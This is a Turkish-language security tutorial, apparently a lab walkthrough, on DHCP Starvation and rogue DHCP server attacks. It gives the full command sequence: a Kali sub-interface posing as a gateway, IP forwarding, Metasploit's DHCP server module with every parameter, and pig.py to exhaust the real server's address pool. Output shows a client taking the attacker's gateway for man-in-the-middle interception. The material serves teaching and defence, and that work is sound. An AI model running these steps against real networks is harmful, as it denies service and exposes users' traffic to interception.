DHCP Servisine Yönelik Saldırı Çeşitleri (DHCP Starvation & Rogue DHCP)

Dynamic Host Configuration Protocol,
istemcilere(client) IP Adres, Ağ Maskesi(Ağ Maskesi), DNS Sunucusu, Varsayılan
Ağ Geçidi(Default Gateway) gibi ayar bilgilerini otomatik olarak sağlayan bir
istemci/sunucu protokolüdür. DHCP Starvation saldırısı ile bir ağın DHCP
Sunucusu’ı cevap veremez ve IP dağıtamaz hale gelebilmektedir. Hemen ardından
saldırgan tarafından kurulacak olan Sahte DHCP Sunucusu ile ise ağdaki yeni
istemcilerin DNS, ağ geçidi gibi adres bilgilerini saldırganın amacı
doğrultusunda dağıtmak mümkün olmaktadır.
           
DHCP Starvation Saldırı Yöntemi:
Eğer ağa fazlasıyla DHCPRequest paketi gönderildiyse saldırgan, DHCP Sunucusunu
dağıtmak için ayırdığı adresleri uzun bir süre meşgul edebilmektedir. Böylece
hedef alınan ağdaki istemcilerin DHCP havuzu kaynakları kullanılamaz hale
gelmektedir. Bu yüzden DHCP Starvation, DOS saldırısı olarak
adlandırılmaktadır.
Sahte DHCP Sunucusu: DHCP
Starvation saldırısı ardından, saldırgan bir Sahte DHCP Sunucusu kurabilmekte
ve ‘man in the middle’ saldırılarını düzenleyebilmektedir veya kendi makinesini
varsayılan ağ geçidi olarak ayarlayıp trafiği izleyebilmektedir.
            
Sahte DHCP Sunucusu, saldırgan
tarafından hedef ağ üzerinde kurulmuş bir DHCP Sunucusudur. Sahte DHCP
Sunucuları genellikle hedef ağ üzerinde MITM, sniffing gibi saldırılar için
kullanılabilmektedir.
Resim Kaynağı: http://mars.merhot.dk/mediawiki/index.php/CCNP_SWITCH/Securing_the_Campus_Infrastructure
pig.py aracıyla DHCP Starvation
saldırısı yaparak ağdaki gerçek DHCP Sunucusu cevap veremez hale
getirilebilmektedir. Böylece ağdaki yeni istemcilere dağıtılacak uygun ip
adresi kalmamış olmaktadır. Bu saldırı türü, ağda bulunan istemcilerin uzun
süreli çevrimiçi olduğu durumlarda oldukça etkili olmaktadır. Aksi takdirde
saldırıyı belli aralıklarda tekrarlamak gerekmektedir.
            Uygulama
İlk olarak hedef ağın Ağ
Maskesi, DNS Sunucusu ve Ağ Geçidi bilgileri keşfedilir. Daha sonra
arayüzü(eth0) ağda kullanılmayan bir ip adresi bularak ayarlanır. Örnek lab
ortamında ağ bilgileri aşağıdaki gibidir:

  • Maskesi: 255.255.255.0
  • Varsayılan
    Yönlendirici(Router) Adresi: 10.1.10.1
root@kali:~# ifconfig eth0
10.1.10.10 netmask 255.255.255.0
Varsayılan Ağ Geçidi olarak
kullanılacak bir alt-arayüz(alt-arayüz) oluşturulur(eth0:1).
Alt-arayüz için de kullanılmayan bir
ip adresi ayarlanır. Bu arayüzü Varsayılan Yönlendirici Adresi olarak
kullanacağımız için ip adresi seçiminde Varsayılan Ağ Geçidi 10.1.10.1 ise bir
alt-arayüzü 10.1.10.11 olarak ayarlamak ilk bakışta daha az dikkat çekici
olabilmektedir.

root@kali:~# ifconfig eth0:1 10.1.10.11 netmask 255.255.255.0

root@kali:~# ifconfig
eth0     Link
encap:Ethernet  HWaddr 00:00:5e:00:01:0a  
            inet
addr:10.1.10.10  Bcast:10.255.255.255  Mask:255.0.0.0
            inet6
addr: fe80::200:5eff:fe00:10a/64 Scope:Link
            UP
BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX
packets:2373 errors:0 dropped:0 overruns:0 frame:0
            TX
packets:3053 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0
txqueuelen:1000
            RX
bytes:262926 (256.7 KiB)  TX bytes:277272 (270.7 KiB)
eth0:1 Link encap:Ethernet
 HWaddr 00:00:5e:00:01:0a  
            inet
addr:10.1.10.11  Bcast:10.1.10.255  Mask:255.255.255.0
            UP BROADCAST RUNNING MULTICAST
 MTU:1500  Metric:1

Bu noktada saldırganın makinesinde
ip yönlendirmeye izin verilir. (alt-arayüz ve ‘ip_forwarding’ ayarları
makinenin yeniden başlaması halinde kaybolmaktadır.)

root@kali:~# echo 1 >
/proc/sys/net/ipv4/ip_forward
Sonraki adım olarak
alt-arayüzün(eth0:1) Varsayılan Ağ Geçidiini ayarlanmalıdır. Alt-arayüzün
Varsayılan Ağ Geçidi, hedef ağın gerçek Varsayılan Ağ Geçidi olarak
ayarlanır(10.1.10.1). İstemciler için Varsayılan Ağ Geçidi olan Kali makinesi
aynı zamanda Varsayılan Yönlendirici görevi görür. 

Bunun anlamı Varsayılan Ağ
Geçidi 10.1.10.11 olan istemcilerin trafiği saldırganın makinesine
ulaşmaktadır. Hemen ardından ağın gerçek Varsayılan Ağ Geçidine(10.1.10.1)
yönlendirilmektedir.

root@kali:~# route add default gw
10.1.10.1 eth0:1
‘route -n’ komutu, yönlendirme
tablosu(Route Table) ekrana yansıtılır. Destination(0.0.0.0), yeni herhangi bir
trafiğin direk olarak Ağ Geçidi(10.1.10.1)’e gönderilmesini göstermektedir.

root@kali:~# route -n
Kernel IP routing table
Destination      Gateway
        Genmask
        Flags
  Metric  Ref  Use  Iface
0.0.0.0             10.1.10.1
        0.0.0.0
            UG       0          0      0
     eth0
Terminalde farklı bir tab açılarak
‘metasploit’ başlatılır. Ardından Sahte DHCP Sunucusu ayarları yapılır.

root@kali:~# msfconsole
DHCP modülü başlatılır. ‘show
options’ komutu ile ekrana girilmesi gereken parametreler ve açıklamaları
yazdırılır.

msf > use auxiliary/server/dhcp
msf auxiliary(dhcp) > show options
Module options (auxiliary/server/dhcp):
  Name             Current Setting  Required  Description
  —-                 —————  ——–  ———–
  BROADCAST
                       no        The broadcast address to send to
  DHCPIPEND
                           no        The last IP to give out
  DHCPIPSTART
                      no        The first IP to give out
  DNSSERVER
                        no        The DNS server IP address
  DOMAINNAME
                      no        The optional domain name to assign
  FILENAME
                             no        The optional filename of a tftp boot
server
  HOSTNAME
                          no        The optional hostname to assign
  HOSTSTART
                        no        The optional host integer counter
  NETMASK
                             yes      The netmask of the local subnet
  ROUTER
                               no        The router IP address
  SRVHOST
                            yes      The IP of the DHCP server
DHCPIPSTART ve DHCPIPEND
parametreleri Sahte DHCP Sunucusunun dağıtacağı ip aralığını belirlemektedir.
Bu yüzden önceden keşfedilen ağda kullanılmayan bir ip aralığı girilmelidir.

msf auxiliary(dhcp) > set broadcast 10.1.10.255
broadcast => 10.1.10.255
msf auxiliary(dhcp) > set dhcpipend 10.1.10.199
dhcpipend => 10.1.10.199
msf auxiliary(dhcp) > set dhcpipstart 10.1.10.101
dhcpipstart => 10.1.10.101
msf auxiliary(dhcp) > set dnsserver 8.8.8.8
dnsserver => 8.8.8.8
msf auxiliary(dhcp) > set netmask 255.255.255.0
netmask => 255.255.255.0
msf auxiliary(dhcp) > set router 10.1.10.11
router => 10.1.10.11
msf auxiliary(dhcp) > set srvhost 10.1.10.10
srvhost => 10.1.10.10
Gerekli parametrelerin verilmesinden
sonra son durum aşağıdaki gibi olmaktadır.

msf auxiliary(dhcp) > show options
Module options (auxiliary/server/dhcp):
  Name                        Current
Setting  Required     Description
  —-                
            —————
        ——–
        ———–
  BROADCAST            10.1.10.255
   
     no              The broadcast address to send to
  DHCPIPEND    10.1.10.199
   
     no              The last IP to give out
  DHCPIPSTART
      10.1.10.101              no              The first IP to give out
  DNSSERVER 8.8.8.8
           
     no              The DNS server IP address
  DOMAINNAME
                                     no
    The optional domain
name to assign
  FILENAME
                                            no
    The optional filename
of a tftp boot server
  HOSTNAME
                                         no
    The optional hostname
to assign
  HOSTSTART
                                        no
               The
optional host integer counter
  NETMASK
              255.255.255.0         yes
           The netmask of the
local subnet
  ROUTER       
           10.1.10.11
     
     no              The router IP address
  SRVHOST    
           10.1.10.10
     
     yes            The IP of the DHCP server
DHCP Starvation saldırısı başlamadan
önce ağdaki herhangi bir istemcinin Varsayılan Ağ Geçidi 10.1.10.1 olarak
gözükmektedir.

Ethernet adapter Local Area Connection:

  Connection-specific DNS Suffix  . :
  Link-local IPv6 Address . . . . . :
fe80::9907:e380:13fe:5c6c%5
  IPv4 Address. . . . . . . . . . . : 10.1.10.203
  Subnet Mask . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . .
. . . : 10.1.10.1
Sahte DHCP Sunucusunun ayarları
yapılmış ve başlatılmak için bekletilirken DHCP Starvation saldırısı
başlatılır.

‘pig.py eth0:1’ komutunu
çalıştırılır.

root@kali:~# pig.py eth0:1
WARNING: No route found for IPv6 destination :: (no default
route?)
[ — ] [INFO] – using interface eth0:1
[DBG ] Thread 0 – (Sniffer) READY
[DBG ] Thread 1 – (Sender) READY
[—>] DHCP_Discover
[—>] DHCP_Discover
[—>] DHCP_Discover
[<—] DHCP_Offer    cc:01:62:9d:00:00
   0.0.0.0    IP: 10.1.10.251 for
MAC=[de:ad:21:3b:c5:df]
[—>] DHCP_Request  10.1.10.251

Ardından Sahte DHCP Sunucusu
başlatılır.

msf auxiliary(dhcp) > run
[*] Auxiliary module execution completed
[*] Starting DHCP server…
Artık ağa yeni bağlanacak olan
istemci, Kali makinedeki Sahte DHCP Sunucusundan ip almaktadır.

Ethernet adapter Local Area Connection:

  Connection-specific DNS Suffix  . :
  Link-local IPv6 Address . . . . . :
fe80::9907:e380:13fe:5c6c%5
  IPv4 Address. . . . . . . . . . . : 10.1.10.102
  Subnet Mask . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . .
. . . : 10.1.10.11

Bu noktadan sonra man in the middle
yöntemiyle trafiği takip etmek mümkün olmaktadır.

Yazar: Barış DURKUT